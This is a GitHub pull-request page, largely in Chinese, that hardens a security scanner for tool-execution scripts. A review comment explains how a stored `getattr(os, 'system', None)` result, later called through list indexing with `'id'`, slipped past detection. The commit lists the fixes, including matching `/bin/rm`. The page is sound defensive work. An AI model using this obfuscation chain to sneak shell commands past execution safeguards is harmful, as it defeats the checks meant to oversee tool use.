# getattr(x, y, default) as plain expression (NOT immediately

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

3-arg getattr 豁免导致先存后调漏报

len(args)>=3 的 getattr 一律 pass,但 getattr(os, "system", None) 在属性存在时仍返回 os.system;配合 d=[...]; d[0]("id") 的 Subscript 调用漏报,整条混淆链逃过检测。策略 python_functions 未含 getattr,regex 层也不兜底。不应按参数个数豁免,对第二参数为危险属性名常量或非常量的 getattr 应视为 dynamic-exec。

…t crash

  - _python_scanner: Subscript(__builtins__/globals/vars/locals[...]) now
    detected as dynamic exec sink (was complete bypass)
  - _python_scanner: remove 3-arg getattr exemption entirely
  - _bash_scanner: normalize cmd with basename so /bin/rm matches rm check
  - _safety_filter: safe extraction when req['args'] is list not dict
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

构建 Tool 执行脚本安全扫描、Filter 拦截与监控机制

2 participants